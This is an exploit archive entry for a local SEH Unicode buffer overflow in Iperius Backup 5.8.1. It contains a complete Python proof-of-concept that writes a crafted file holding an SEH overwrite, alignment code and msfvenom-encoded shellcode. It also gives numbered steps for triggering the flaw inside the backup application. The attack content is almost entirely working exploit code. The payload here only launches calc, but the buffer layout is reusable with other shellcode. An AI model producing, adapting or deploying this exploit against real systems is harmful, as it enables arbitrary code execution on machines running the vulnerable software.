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Iperius Backup 5.8.1 Buffer Overflow

Iperius Backup 5.8.1 Buffer Overflow
Posted Dec 27, 2018
Authored by bzyo

Iperius Backup version 5.8.1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | d60ad3ada8e8321e42b48d3b8f87391b6a891a3b87a942b9aede1da924c250ca

Iperius Backup 5.8.1 Buffer Overflow

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# Exploit Title: Iperius Backup 5.8.1 - Buffer Overflow (SEH)
# Date: 2018-12-26
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: Iperius Backup 5.8.1
# Vendor Homepage: https://www.iperiusbackup.com
# Version: 5.8.1 Local Buffer Overflow (SEH Unicode)
# Software Link: https://www.iperiusbackup.com/download.aspx?v=free
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open app and create backup job
# 3. on other processes tab, select 'run a program or open external file'
# 4. copy/paste iperius.txt contents into file location
# 5. select ok to complete creating backup job
# 6. run backup job
# 7. app crashes; pop calc

#!/usr/bin/python

filename="iperius.txt"

junk = "\x71" * 306

#popad
nseh = "\x61\x62"

#0x005b004a
#pop esi # pop ebx # ret | startnull,unicode,asciiprint,ascii Iperius.exe
seh = "\x4a\x5b"

valign = (
"\x53" #push ebx
"\x47" #align
"\x58" #pop eax
"\x47" #align
"\x05\x12\x01" #add eax,200
"\x47" #align
"\x2d\x11\x01" #sub eax,100
"\x47" #align
"\x50" #push eax
"\x47" #align
"\xc3" #retn
)

#509 bytes
#msfvenom -p windows/exec CMD=calc -e x86/unicode_upper BufferRegister=EAX
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AI"
"AJQI1AYAZBABABABAB30APB944JBKLZH4BM0M0KPS0SYIUP1Y01TTKR0NP4K1BLLDK0RN4DK42O8LOH70JMV01KO6LOL31SLKRNLO0"
"7QHOLMM17WK2L21B1GDKQBN04KOZOLDKPLN148ZC18KQJ121TKB9O0KQ9C4K0IN8ZCOJQ9TK04TKM1YF01KOVL7QXOLMM1GWNXK045"
"ZVLC3ML8OK3MO43EZDQHTKR8O4M1XS2FDKLLPK4KB8MLKQJ3TKKTTKM1XPCYOTMTO41K1K310YPZ21KOIPQOQOPZDKN2ZKDMQM1ZM1"
"TMU582KPKPKP201XNQ4KRODGKOXU7KZP7EVB26BH76TUGMUMKOXUOLLFCLKZSPKK9PD5KU7K0GN33BBO1ZM01CKOXUQS1QBL33M0AA")

nops = "\x71"*109

fill = "\x71"*1000

buffer = junk + nseh + seh + valign + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


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